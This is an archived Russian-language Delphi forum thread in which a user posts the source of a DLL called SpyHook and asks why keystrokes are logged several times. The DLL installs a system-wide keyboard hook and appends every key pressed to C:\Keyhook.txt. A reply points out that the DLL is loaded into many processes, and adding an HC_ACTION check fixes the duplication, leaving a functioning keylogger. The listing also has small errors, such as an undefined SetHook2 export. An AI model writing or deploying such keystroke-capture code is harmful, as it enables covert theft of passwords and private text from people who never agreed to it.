Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2011.12.18;
Скачать: CL | DM;

Вниз

Дублируются перехваченные с клавиатуры символы   Найти похожие ветки 

 
Edward   (2009-09-17 12:01) [0]

Библиотека перехвата нажатия клавиш клавиатуры и печать их файл. Вопрос почему набераемые символы записываются в текстовый файл по несколько раз. Что не так сделал?
library SpyHook;
uses
 Messages,
 Windows,
 SysUtils
var
 HookHandle:hHook;
 ft:textfile;
function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
var
 KeyState1: TKeyBoardState;
 AryChar: array[0..1] of Char;
//  Count: Integer;

begin
//  Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
 if code < 0 then begin Result:=CallNextHookEx(HookHandle, code, wParam, lParam); Exit; end
 else
//  if byte(LParam shr 24)<$80 then
 if lParam and $40000000 = 0 then
 begin
   try
     append(ft); //(пробуем открыть файл для добавления)
     GetKeyboardState(KeyState1);
     ToAscii(wParam, lParam, KeyState1, AryChar, 0);
     case wParam of 27: write(ft," <ESC>");
                    18: write(ft," <ALT>");
                    17: write(ft," <CTRL>");
                    16: write(ft," <SHIFT>");
                    20: write(ft," <Caps Lock>");
                    8: write(ft," <BackSpace>");
                    46: write(ft, "<DEL>");
                    45: write(ft, "<INS>");
                    36: write(ft, "<HOME>");
                    35: write(ft, "<END>");
                    38: write(ft, "<UP>");
                    40: write(ft, "<DOWN>");
                    37: write(ft, "<LEFT>");
                    39: write(ft, "<RIGHT>");
                    112: write(ft, "<F1>");
                    113: write(ft, "<F2>");
                    114: write(ft, "<F3>");
                    115: write(ft, "<F4>");
                    116: write(ft, "<F5>");
                    117: write(ft, "<F6>");
                    118: write(ft, "<F7>");
                    119: write(ft, "<F8>");
                    120: write(ft, "<F9>");
                    121: write(ft, "<F10>");
                    122: write(ft, "<F11>");
                    123: write(ft, "<F12>");
                    91: write(ft, "<Winwows>");
                    13: writeln(ft, "");
     else
       write(ft,AryChar[0]);
     end;
     closefile(ft);
   except
     Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
     exit; {если не получается - выход}
   end;
 end;
 Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
end;
procedure SetHook; stdcall; {установка ловушки}
begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hInstance, 0);
end;
procedure DelHook; stdcall; {удаление ловушки}
begin
 UnhookWindowsHookEx(HookHandle);
end;

exports
 SetHook, DelHook, SetHook2;
begin
 assignFile (ft, "C:\Keyhook.txt");
end.


 
Сергей М. ©   (2009-09-17 12:11) [1]

Ты осознаешь, что после установки хука в системе одновременно существуют множество экземпляров этой DLL ?

И каждая из них вправе пытаться писать в файл, если система сочтет нужным вызвать ф-цию KeyboardProc..


 
Edward   (2009-09-17 12:36) [2]

Если честно, то не очень понял - каким образом в системе существует множество экземпляров. Но методом научного тыка угадал, что в нужно написать так:
 if (lParam and $40000000 = 0) and (Code = HC_ACTION) then
вместо просто
(lParam and $40000000 = 0) и это заработало.

Если не сложно скинь ссылку или коротенько о "одновременно существуют множество экземпляров этой DLL".


 
Сергей М. ©   (2009-09-17 13:03) [3]


> Code = HC_ACTION


Да, это условие, разумеется, обязательно должно быть проверено.

http://wasm.ru/article.php?article=1001024


 
Edward   (2009-09-17 13:06) [4]

Спасибо!



Страницы: 1 вся ветка

Текущий архив: 2011.12.18;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.01 c
1-1277656298
DeusNoxious
2010-06-27 20:31
2011.12.18
Интерактивный Google maps


15-1314995392
Юрий
2011-09-03 00:29
2011.12.18
С днем рождения ! 3 сентября 2011 суббота


6-1248848880
Sonoleo
2009-07-29 10:28
2011.12.18
МЭК 80670-5-104


2-1315514369
Германн
2011-09-09 00:39
2011.12.18
Компонент для вывода текста.


15-1314819288
armstrong
2011-08-31 23:34
2011.12.18
SQL order by